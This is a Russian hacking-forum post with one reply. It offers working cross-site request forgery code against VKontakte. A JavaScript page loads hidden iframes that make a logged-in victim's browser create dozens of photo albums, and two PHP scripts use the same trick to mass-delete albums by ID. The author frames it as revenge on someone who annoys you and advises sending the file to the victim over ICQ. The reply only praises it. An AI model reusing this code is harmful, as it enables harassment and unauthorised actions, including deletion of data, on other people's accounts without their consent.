First Of Hack

Объявление

НАШ НОВЫЙ САЙТ http://xakz.org ЗАХОДИТЕ, РЕГИСТРИРУЙТЕ, Т.К. ЭТОГО ФОРУМА БОЛЬШЕ НЕ БУДЕТ!

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » First Of Hack » Статьи » Создаем альбомы в контакте


Создаем альбомы в контакте

Сообщений 1 страница 2 из 2

1

Если вам кто-то очень уж надоел и бесит,то давайте сделаем ему что-нить неприятное,скажем,создадим в его профиле на сайте vkontakte.ru дохера албомов?
Так вот и сам код,пишем его в файл какой-нить с расширением .html
Код:

<html>
<body>
<script language=JavaScript>

var how = 10; //поставьте,сколько албомов надо создать

var ggg = "http://vkontakte.ru/photos.php?act=create&name="; //ну это начальное значение,тут нчие менять не стоит
var name = "kutak"; //Можно сменить имя ,которым будет называться этот альбом
var tmp;
for(i=1;i<=how;i++)
{
tmp = ggg + name + i; //в tmp будет http://vkontakte.ru/photos.php?act=crea … =kutak1,то есть,
//если мы проидум по ссылке,то будет создан альбом kutak1

document.write('<iframe WIDTH=0 HEIGHT=0 src="'+tmp+'"></iframe>');   //Отбображаем фрейм,в котором будет 
//как раз та ссылка сгенеренная
//С каждым разом ссылка будет другой,меняя название альбома,то есть в конце будет kutak1 , kutak2 и так до how
}
</script>
</body>
</html>
Вот скрипт на PHP:
PHP код:


<html>

<head>

<title>Удаление.Ждите...</title>

<script language=JavaScript>

function up(last,end)

{

    var t = "ping.php?last="+last+"&end="+ end;

    location.href=t;

}

</script>

</head>

<body>

<?

$portion = 100; //какими порциями удалять

$wtime = 10000; //сколько миллисекунд ждать перед предыдущим запросом

echo "Удаление.Ждите...";

$del = "http://vkontakte.ru/photos.php?act=do_delete&id=";

$con = 1;




if(isset($_REQUEST["last"]))

{

$last=$_REQUEST["last"];

if(isset($_REQUEST["end"])) $end=$_REQUEST["end"];

else $end=$last*2;

$st = '';

if($last<=$end)

{   

    for($i=1;$i<=$portion;$i++)

    {

    $temp = $del.$last;

    $st.='<iframe style=\"visibility:hidden\" width=0  height=0 src="'.$temp.'"></iframe>';

    $last++;

    }

    echo $st;

   

    echo '<script>setTimeout("up('.$last.','.$end.')",'.$wtime.');</script>';

}

}

else echo 'Ошибка.ХЗ где...';

   

?>

</body>

</html>
А Теперь рассмотрим удаление:
del.php:
Вызываться будет так:
_http://path/del.php?last=[ID первого альбома,который надо удалить]&end=[ID последнего альбома]
PHP код:

<html>

<head>

<title>Удаление.Ждите...</title>

<script language=JavaScript>

function up(last,end)

{

    var t = "del.php?last="+last+"&end="+ end;   //del.php надо менять на имя своего скипта

    location.href=t;

}

</script>

</head>

<body>

<?

$portion=10; //порции для удаления

echo "Удаление.Ждите...<br />";

$del = "http://vkontakte.ru/photos.php?act=do_delete&id=";

$file=file('tmp');

if(strlen($file[0])>3)

{

$last=$file[0];}

else {

if($_POST["last"]!=0) {

$last=$_POST["last"];

}

else if($_GET["last"]!=0) $last=$_GET["last"];

}

if($_POST["end"]!=0) $end=$_POST["end"];

else if($_GET["end"]!=0) $end=$_GET["end"];


if($last!=0)

{

$st = '';

if($last<=$end)

{   

    for($i=1;$i<=$portion;$i++)

    {

    $temp = $del.$last;

    $st= $st.'<iframe width=0 height=0 src="'.$temp.'"></iframe><br />';

    $last++;

   

    }

    $how = $end-$last;

    echo '<br />Осталось '.$how.' альбомов<br />';

    echo $st;

   

    echo '<script>setTimeout("up('.$last.','.$end.')",10000);</script>'; //10000 - время ожидания перед обновлением страницы (миллисекунды)

}

else echo '<br />Удалено успешно или нечего удалять.';

}

else echo 'Ошибка.ХЗ где...';

   

?>

</body>

</html>

Залейте файл на свой хост или просто киньте по асе.Будет очень прикольно
P.S:Скрипт будет работать только если у пользователя сохранен пароль в браузере(cookies) ,скрипт эмулирует нажатие кнопки создать альбом,то есть делает то же самое,но меняя имя

0

2

:cool: круто!!!

0


Вы здесь » First Of Hack » Статьи » Создаем альбомы в контакте